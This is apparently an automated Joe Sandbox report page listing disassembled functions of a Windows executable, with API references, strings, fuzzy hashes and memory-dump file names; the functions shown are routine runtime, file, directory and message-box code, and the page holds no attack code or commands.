Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction ID: 29134c811a018837dc5ee0f554d851bd7cd78b66d906a9edc03598593bab3432
Opcode Fuzzy Hash: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction Fuzzy Hash: 35819073E0CA42C5FBA47F25C110A78BEA0AB11768FD58035CA0D9778ADB2DFD099325

Function 00007FF7102CC968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7102CC993
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7102CCA2A
RtlUnwindEx.KERNEL32 ref: 00007FF7102CCA84

Strings

csm, xrefs: 00007FF7102CCA11

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction ID: b6b447d6b983b8d08ad5bbe403cf915433e04bf022f359c82bb337cf7e29e650
Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction Fuzzy Hash: BA51C632B29E0A8ADB14EF15E544679BB91FB44BA8FA08131EA4E43784DF7CF845C710

Function 00007FF7102CE1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7102CE257
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7102CE2A3

Strings

RCC, xrefs: 00007FF7102CE273
MOC, xrefs: 00007FF7102CE26B

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
Instruction ID: 918e9f2ef7060659ce7f6be0d29e4ae08b8a62b74a9e19b979c1d3995270e9a9
Opcode Fuzzy Hash: 7372cc8c5436f01c7c5bf562e068c966f7e5f7c30121bdd0ddd9e56561cf3a97
Instruction Fuzzy Hash: 7B619032918BC581DB35AB25E5403AAFBA0FB857A4F444225EB9D03B95DF7CF198CB10

Function 00007FF7102CE5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7102CE5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7102CE6B8

Strings

csm, xrefs: 00007FF7102CE70A
csm, xrefs: 00007FF7102CE5F2

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction ID: 1cfa5c91c5d8fc93cc87e7ae6c83fde6226093d678302aa42090633369f1bee9
Opcode Fuzzy Hash: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction Fuzzy Hash: 4951BF32A28A8286EF34AB219244378FBA4EB50BA4F945135DA5D43BD5CF3CF458CB11

Function 00007FF7102C7530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7102C324C,?,?,00007FF7102C3964), ref: 00007FF7102C7642

Strings

%.*s, xrefs: 00007FF7102C75FB
\, xrefs: 00007FF7102C75A7
%s%c, xrefs: 00007FF7102C75B4

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
Instruction ID: f1a4b413d3b3a77257b47a7f678ab4d444ef636e31ef44967624b316e8087687
Opcode Fuzzy Hash: 7bb6789f982dd078021ca405e37f28ebc21f271831f10c16ba6710f0d2331ec5
Instruction Fuzzy Hash: 4831E821629EC585EA21AB24E5107EAA758FF44BF4FD44231EE6D43BC9DE3CE6098710

Function 00007FF7102C25F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

MessageBoxW.USER32 ref: 00007FF7102C2686
MessageBoxA.USER32 ref: 00007FF7102C269A

Strings

Error, xrefs: 00007FF7102C2677
Error/warning (ANSI fallback), xrefs: 00007FF7102C268E

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error$Error/warning (ANSI fallback)
API String ID: 1878133881-653037927
Opcode ID: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction ID: 47f60dfdde2243a8c79ef970cccaf545cd3f9033f38aeb1898e36fa7a5f22e15
Opcode Fuzzy Hash: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
Instruction Fuzzy Hash: 4F118E72628E8681EA21AB00E551BAAA768FB44B94FD05136EA8C17744CF3CE609C720

Function 00007FF7102C2870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

MessageBoxW.USER32 ref: 00007FF7102C2906
MessageBoxA.USER32 ref: 00007FF7102C291A

Strings

Error/warning (ANSI fallback), xrefs: 00007FF7102C290E
Warning, xrefs: 00007FF7102C28F7

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error/warning (ANSI fallback)$Warning
API String ID: 1878133881-2698358428
Opcode ID: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction ID: df67154608e588c9dd93915a649fb08608e411536b62a39ee169e62efbd28813
Opcode Fuzzy Hash: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
Instruction Fuzzy Hash: 4A118E62628E8581EA21AB00E551BAAB764FB44B94F905136DA8C17744CF3CE608C760

Function 00007FF7102DB8B0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7102DB92F
WriteFile.KERNEL32 ref: 00007FF7102DBBF7
WriteFile.KERNEL32 ref: 00007FF7102DBC3D
GetLastError.KERNEL32 ref: 00007FF7102DBCF3

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
Instruction ID: 2a98f646f3c314e8f2e1ad36929f9eccd7b92f8040ef32d907b9c4db05e83e5e
Opcode Fuzzy Hash: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
Instruction Fuzzy Hash: 64D1F473B18E81C9E712DF65D4502AC7BB1FB447A8B944236CE5E57B99DE38E80AC310

Function 00007FF7102DEC9C Relevance: 6.2, APIs: 4, Instructions: 161COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7102DED8C
_get_daylight.LIBCMT ref: 00007FF7102DED9D
_get_daylight.LIBCMT ref: 00007FF7102DEDAE
_isindst.LIBCMT ref: 00007FF7102DEE79

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
Instruction ID: d2f1fe19dc8d5431b41f0581ed28859026db63a63f05ffb8b56b3149bfc5822c
Opcode Fuzzy Hash: fe74ad9a1dfbf97a60779a6b4eb4e3da65874cecf87de461c354fefb5b69a27d
Instruction Fuzzy Hash: 5451E673F049118AEF18FF6499856BCABA5AB54378F900235DD2E52BE5DF38F8098710

Function 00007FF7102D4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7102D4ABF
GetFileInformationByHandle.KERNEL32 ref: 00007FF7102D4B21
GetLastError.KERNEL32 ref: 00007FF7102D4BB2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7102D49C4), ref: 00007FF7102D4BFE

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
Instruction ID: 0b0285ece993cf520da3bcccbba30a15fcde402c99843d68dce0a853e871825d
Opcode Fuzzy Hash: 1ec8bf387a2241cb1ee0019bb6bb5a321e30a3d38cbcbe421edb0c1d83f6d5d9
Instruction Fuzzy Hash: 4D519023E18A418AFB14EF71D4503BDABA1EF58BA8F504136DE0957788DF38E8498720

Function 00007FF7102C2030 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7102C2064
SetWindowLongPtrW.USER32 ref: 00007FF7102C2086
GetWindowLongPtrW.USER32 ref: 00007FF7102C20B0
InvalidateRect.USER32 ref: 00007FF7102C20D0

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction ID: 3953781e4aba4275edbd6fd67cd3e73a19c388bef7d006d2f8485dae59620a51
Opcode Fuzzy Hash: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction Fuzzy Hash: 16110021E1894241F755A759F64527A9A51EF95BA0FC48032DE4D07B8ECD3DF4CD8520

Function 00007FF7102CC330 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7102CC35C
GetCurrentThreadId.KERNEL32 ref: 00007FF7102CC36A
GetCurrentProcessId.KERNEL32 ref: 00007FF7102CC376
QueryPerformanceCounter.KERNEL32 ref: 00007FF7102CC386

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction ID: 6ba6c3ac0b642c85072146fdca1b7b62a33fa72c31c3cb467e4fd2455bcc4bc1
Opcode Fuzzy Hash: 0f32e5fb6c1657f40c76225ea380b4ebd78bc5beffa0738dce661fe11625e8f4
Instruction Fuzzy Hash: 44117022B14F068AEB00DF60E8542B977A4FB59B68F840E35DE2D577A4DF7CE1988350

Function 00007FF7102E4E2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102E0A70: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E0AA3

_get_daylight.LIBCMT ref: 00007FF7102E4F44
_get_daylight.LIBCMT ref: 00007FF7102E4F55

Strings

?, xrefs: 00007FF7102E4ED5

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
Instruction ID: e77e3916d363edac1704f1e1fe6974cc0d284bda638f8e80cde82d465aa19813
Opcode Fuzzy Hash: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
Instruction Fuzzy Hash: 9B411612A18A8246FB64AB2594017BAEF50EF80BB4F944235EF5C16BD5DF3CF4858710

Function 00007FF7102D832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D835E

Part of subcall function 00007FF7102D9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C6E
Part of subcall function 00007FF7102D9C58: GetLastError.KERNEL32(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C78

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7102CBEC5), ref: 00007FF7102D837C

Strings

C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe, xrefs: 00007FF7102D836A

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe
API String ID: 3580290477-898561748
Opcode ID: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
Instruction ID: 09cd026aee755dcbd4866e7def9b75b03ef453d24cfc354720125d677764a895
Opcode Fuzzy Hash: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
Instruction Fuzzy Hash: 57417033A08F5285E754FF25A4810BCAB94FB45BA0BD54039EA4E43B85DF7CF8898320

Function 00007FF7102DF8E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DF916

Part of subcall function 00007FF7102DE8C8: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7102DE908

Strings

:, xrefs: 00007FF7102DF956
., xrefs: 00007FF7102DF967

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CurrentDirectory_invalid_parameter_noinfo
String ID: .$:
API String ID: 2020911589-4202072812
Opcode ID: a7e7ecf8ca197d948e5de4d949c192756b769c590a90378fa45037ccdac380fb
Instruction ID: 4b78896f81df8fe9737094e202c50a500f7e12d1f99938baea5639263dfe29d9
Opcode Fuzzy Hash: a7e7ecf8ca197d948e5de4d949c192756b769c590a90378fa45037ccdac380fb
Instruction Fuzzy Hash: DE414D23F08F5298FB51ABB198516FC6AB46F14768F940035DE4D67B89DF38F84A8324

Function 00007FF7102DBF48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7102DC05F
GetLastError.KERNEL32 ref: 00007FF7102DC081

Strings

U, xrefs: 00007FF7102DC00B

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
Instruction ID: c021985af972cfd90e085281a32192e84863a5a3c0197a81d1e7eea70c2a591b
Opcode Fuzzy Hash: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
Instruction Fuzzy Hash: 9141B423B18A85C5DB21AF25E8443AABB60FB987A4F904035EE4D87B98DF3CE445C710

Function 00007FF7102DE8C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7102DE908
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7102DE95A

Strings

:, xrefs: 00007FF7102DE91E

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 07ccd8f192e8e90d69bfd843d23e6c5cb8c086d03a1c4ecf0d47480cab5f9335
Instruction ID: 949a81af9528a8a87a4adb6088fcd41ae1d341a57f5be54c0a7e0f5be43ec9de
Opcode Fuzzy Hash: 07ccd8f192e8e90d69bfd843d23e6c5cb8c086d03a1c4ecf0d47480cab5f9335
Instruction Fuzzy Hash: 0E21CE63B08A8182EF60BB15D4542BEABA2FB84B94FC54035DA8C53784CF7CFD498760

Function 00007FF7102CF068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7102CF0B8
RaiseException.KERNEL32 ref: 00007FF7102CF0F9

Strings

csm, xrefs: 00007FF7102CF0E6

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
